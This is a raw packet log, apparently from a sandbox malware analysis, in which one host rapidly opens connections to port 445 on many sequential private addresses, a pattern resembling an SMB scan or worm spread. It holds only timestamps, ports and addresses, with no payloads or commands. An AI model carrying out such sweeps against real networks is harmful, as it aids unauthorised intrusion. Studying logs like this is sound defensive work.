Jul 6, 2024 14:11:28.988221884 CEST	445	51116	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:28.989404917 CEST	51116	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:28.990039110 CEST	445	51119	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:28.991575956 CEST	51121	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:28.992563009 CEST	51123	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:28.992855072 CEST	51119	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:28.992855072 CEST	51119	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:28.996429920 CEST	51122	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:28.996593952 CEST	445	51121	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:28.997669935 CEST	445	51123	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:28.997847080 CEST	51121	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:28.997847080 CEST	51121	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:28.998137951 CEST	445	51119	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:28.998192072 CEST	51119	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:28.999059916 CEST	51123	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:28.999059916 CEST	51123	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:29.004343987 CEST	445	51123	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:29.004543066 CEST	445	51121	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:29.004550934 CEST	445	51121	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:29.004740953 CEST	51123	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:29.007631063 CEST	51125	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:29.007631063 CEST	51126	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:29.007631063 CEST	51127	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:29.007989883 CEST	51128	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:29.009937048 CEST	445	51122	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:29.012542963 CEST	445	51125	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:29.012552977 CEST	445	51126	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:29.012620926 CEST	445	51127	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:29.013053894 CEST	51126	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:29.013053894 CEST	51125	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:29.013053894 CEST	51126	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:29.013053894 CEST	51127	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:29.013053894 CEST	51127	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:29.013108969 CEST	445	51128	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:29.013163090 CEST	51128	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:29.013243914 CEST	51128	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:29.013299942 CEST	51122	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:29.013299942 CEST	51122	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:29.016112089 CEST	51125	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:29.018623114 CEST	445	51128	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:29.022428989 CEST	445	51126	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:29.022502899 CEST	445	51127	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:29.022511959 CEST	445	51125	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:29.024352074 CEST	51131	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:29.024817944 CEST	445	51122	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:29.029329062 CEST	445	51131	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:29.029402971 CEST	51131	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:29.037975073 CEST	51131	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:29.038235903 CEST	51132	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:29.038372993 CEST	51133	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:29.038495064 CEST	51134	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:29.038618088 CEST	51135	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:29.038909912 CEST	51136	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:29.039639950 CEST	51137	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:29.041176081 CEST	445	51128	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:29.041234970 CEST	51128	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:29.042249918 CEST	445	51126	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:29.043555975 CEST	445	51125	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:29.043566942 CEST	445	51132	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:29.043647051 CEST	445	51133	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:29.043759108 CEST	445	51134	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:29.043767929 CEST	445	51135	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:29.043776989 CEST	445	51136	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:29.044368982 CEST	51133	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:29.044369936 CEST	51135	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:29.044601917 CEST	51136	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:29.044662952 CEST	51133	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:29.044764996 CEST	51135	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:29.044816017 CEST	51136	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:29.045723915 CEST	51132	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:29.045723915 CEST	51134	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:29.045723915 CEST	51132	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:29.045723915 CEST	51134	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:29.047131062 CEST	445	51127	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:29.048276901 CEST	445	51122	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:29.048608065 CEST	445	51131	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:29.048657894 CEST	51131	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:29.048666954 CEST	445	51137	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:29.048721075 CEST	51137	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:29.048906088 CEST	51137	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:29.049915075 CEST	445	51133	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:29.049922943 CEST	445	51133	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:29.050226927 CEST	445	51135	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:29.050235987 CEST	445	51135	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:29.050245047 CEST	445	51136	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:29.050252914 CEST	445	51136	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:29.050666094 CEST	51135	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:29.051217079 CEST	445	51132	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:29.051225901 CEST	445	51134	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:29.051259041 CEST	51132	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:29.051296949 CEST	51134	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:29.051811934 CEST	445	51132	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:29.051820040 CEST	445	51134	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:29.054953098 CEST	51139	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:29.055231094 CEST	445	51137	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:29.056435108 CEST	445	51137	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:29.056514978 CEST	51137	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:29.056931973 CEST	445	51132	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:29.065970898 CEST	445	51134	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:29.066417933 CEST	445	51139	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:29.066436052 CEST	445	51135	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:29.066488028 CEST	51139	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:29.067538023 CEST	51139	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:29.069504023 CEST	51141	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:29.069619894 CEST	51142	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:29.069736958 CEST	51143	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:29.070785046 CEST	51145	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:29.082892895 CEST	445	51139	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:29.083154917 CEST	445	51141	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:29.083163977 CEST	445	51142	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:29.083173037 CEST	445	51143	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:29.083180904 CEST	445	51145	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:29.083223104 CEST	51141	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:29.083267927 CEST	51142	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:29.083317041 CEST	51143	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:29.083344936 CEST	51142	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:29.083415985 CEST	51143	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:29.083496094 CEST	51141	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:29.083839893 CEST	51145	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:29.083839893 CEST	51145	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:29.085207939 CEST	51146	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:29.085340023 CEST	51147	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:29.085455894 CEST	51148	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:29.086606979 CEST	51149	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:29.088718891 CEST	445	51142	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:29.088737011 CEST	445	51143	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:29.088829994 CEST	445	51141	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:29.090075016 CEST	445	51146	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:29.090532064 CEST	445	51147	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:29.090542078 CEST	445	51148	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:29.090610027 CEST	51148	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:29.090682030 CEST	51148	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:29.090850115 CEST	445	51145	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:29.091667891 CEST	445	51149	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:29.091715097 CEST	51149	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:29.091800928 CEST	51146	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:29.091800928 CEST	51146	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:29.091800928 CEST	51147	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:29.091801882 CEST	51147	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:29.099744081 CEST	445	51148	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:29.099781990 CEST	445	51146	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:29.099790096 CEST	445	51147	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:29.103418112 CEST	51149	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:29.103666067 CEST	51151	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:29.108603001 CEST	445	51139	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:29.108613968 CEST	445	51151	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:29.108709097 CEST	51151	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:29.108767986 CEST	51151	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:29.108939886 CEST	51139	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:29.110111952 CEST	445	51141	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:29.111264944 CEST	445	51142	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:29.111284018 CEST	445	51143	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:29.111309052 CEST	445	51149	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:29.111325979 CEST	445	51145	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:29.112344027 CEST	51145	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:29.112674952 CEST	445	51149	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:29.113174915 CEST	445	51146	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:29.113183975 CEST	445	51147	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:29.113845110 CEST	51149	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:29.114593029 CEST	445	51151	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:29.114943981 CEST	445	51151	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:29.118150949 CEST	51153	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:29.118705988 CEST	51155	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:29.120778084 CEST	51151	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:29.123684883 CEST	445	51155	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:29.128180027 CEST	51155	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:29.128180027 CEST	51155	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:29.128252983 CEST	445	51153	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:29.128304958 CEST	51153	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:29.128365993 CEST	51153	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:29.132814884 CEST	51156	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:29.133399963 CEST	445	51153	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:29.133409023 CEST	445	51153	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:29.134588957 CEST	445	51155	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:29.135703087 CEST	445	51155	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:29.137202024 CEST	51155	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:29.137645006 CEST	445	51156	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:29.141123056 CEST	51156	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:29.147444010 CEST	51156	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:29.147907972 CEST	51160	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:29.147933006 CEST	51161	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:29.148122072 CEST	51158	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:29.148540974 CEST	51159	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:29.148540974 CEST	51162	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:29.149130106 CEST	51164	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:29.150321007 CEST	445	51156	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:29.150377989 CEST	51156	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:29.152746916 CEST	445	51160	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:29.152801991 CEST	445	51161	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:29.152801991 CEST	51160	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:29.152848005 CEST	51161	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:29.152900934 CEST	51161	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:29.152915955 CEST	51160	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:29.152986050 CEST	445	51156	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:29.152995110 CEST	445	51158	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:29.153050900 CEST	51158	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:29.153111935 CEST	51158	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:29.153348923 CEST	445	51159	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:29.153366089 CEST	445	51162	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:29.153409004 CEST	51159	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:29.153440952 CEST	51162	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:29.153495073 CEST	51162	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:29.153495073 CEST	51159	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:29.153945923 CEST	445	51164	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:29.153992891 CEST	51164	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:29.154067039 CEST	51164	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:29.157727957 CEST	445	51161	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:29.157737970 CEST	445	51160	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:29.158073902 CEST	445	51160	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:29.158226013 CEST	445	51161	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:29.158235073 CEST	445	51158	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:29.158242941 CEST	445	51158	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:29.158425093 CEST	445	51162	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:29.158433914 CEST	445	51159	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:29.158442020 CEST	445	51159	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:29.158613920 CEST	445	51162	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:29.159528017 CEST	445	51164	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:29.159579992 CEST	51164	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:29.164832115 CEST	51165	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:29.171374083 CEST	445	51165	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:29.173022985 CEST	51165	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:29.173022985 CEST	51165	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:29.179276943 CEST	445	51165	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:29.180321932 CEST	51170	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:29.181606054 CEST	51168	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:29.182126999 CEST	51169	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:29.182126999 CEST	51165	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:29.184382915 CEST	51167	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:29.185357094 CEST	445	51170	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:29.186168909 CEST	51170	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:29.186666012 CEST	445	51168	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:29.189140081 CEST	51168	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:29.189140081 CEST	51168	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:29.189203978 CEST	445	51169	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:29.191931009 CEST	51169	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:29.191931009 CEST	51169	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:29.194207907 CEST	445	51170	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:29.194468021 CEST	445	51168	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:29.194520950 CEST	445	51168	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:29.194540977 CEST	445	51167	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:29.196590900 CEST	51170	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:29.196590900 CEST	51170	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:29.196590900 CEST	51172	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:29.204451084 CEST	445	51170	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:29.204459906 CEST	445	51172	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:29.204672098 CEST	51167	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:29.204672098 CEST	51167	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:29.205642939 CEST	445	51169	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:29.205718040 CEST	51172	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:29.205718040 CEST	51172	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:29.206237078 CEST	445	51169	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:29.209868908 CEST	445	51167	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:29.210172892 CEST	445	51167	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:29.211595058 CEST	445	51172	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:29.211639881 CEST	51172	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:29.212512970 CEST	51175	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:29.221364021 CEST	445	51175	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:29.226778030 CEST	51176	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:29.226778030 CEST	51178	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:29.226778984 CEST	51179	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:29.228764057 CEST	51177	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:29.229291916 CEST	51181	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:29.229291916 CEST	51182	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:29.232268095 CEST	51175	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:29.232562065 CEST	445	51176	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:29.232918024 CEST	445	51178	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:29.233166933 CEST	445	51179	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:29.233544111 CEST	51180	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:29.233544111 CEST	51183	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:29.235459089 CEST	445	51181	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:29.235505104 CEST	445	51182	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:29.235656977 CEST	51176	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:29.235656977 CEST	51176	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:29.235657930 CEST	51178	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:29.235657930 CEST	51178	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:29.235657930 CEST	51179	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:29.235657930 CEST	51179	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:29.236103058 CEST	51181	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:29.236103058 CEST	51181	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:29.236103058 CEST	51182	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:29.236103058 CEST	51182	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:29.238403082 CEST	445	51180	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:29.238507986 CEST	445	51183	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:29.238568068 CEST	51175	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:29.240246058 CEST	445	51175	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:29.240561962 CEST	445	51176	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:29.240708113 CEST	445	51178	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:29.240757942 CEST	445	51179	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:29.240767956 CEST	445	51176	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:29.241281986 CEST	51185	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:29.241319895 CEST	445	51178	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:29.241703987 CEST	445	51179	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:29.242623091 CEST	51186	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:29.242748976 CEST	51175	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:29.245029926 CEST	51180	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:29.245029926 CEST	51180	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:29.245029926 CEST	51183	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:29.245029926 CEST	51183	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:29.246124029 CEST	445	51185	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:29.246686935 CEST	445	51175	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:29.247759104 CEST	445	51186	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:29.248284101 CEST	445	51181	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:29.248455048 CEST	445	51181	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:29.248507023 CEST	445	51182	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:29.249170065 CEST	445	51182	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:29.249558926 CEST	51186	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:29.249558926 CEST	51186	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:29.250061989 CEST	51185	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:29.250061989 CEST	51185	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:29.253012896 CEST	445	51177	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:29.253328085 CEST	445	51180	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:29.253823042 CEST	445	51180	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:29.254251957 CEST	445	51183	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:29.254873991 CEST	445	51186	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:29.254919052 CEST	51186	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:29.255747080 CEST	51183	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:29.255954981 CEST	445	51185	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:29.256081104 CEST	445	51185	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:29.256946087 CEST	51188	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:29.257091045 CEST	51189	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:29.258351088 CEST	51191	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:29.261826038 CEST	51177	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:29.261826038 CEST	51177	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:29.261970997 CEST	445	51188	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:29.262029886 CEST	51188	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:29.262087107 CEST	51188	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:29.262702942 CEST	445	51189	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:29.263986111 CEST	445	51191	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:29.265847921 CEST	51191	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:29.265847921 CEST	51191	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:29.266994953 CEST	445	51188	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:29.267241001 CEST	445	51188	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:29.267680883 CEST	51189	445	192.168.2.6	192.168.0.90
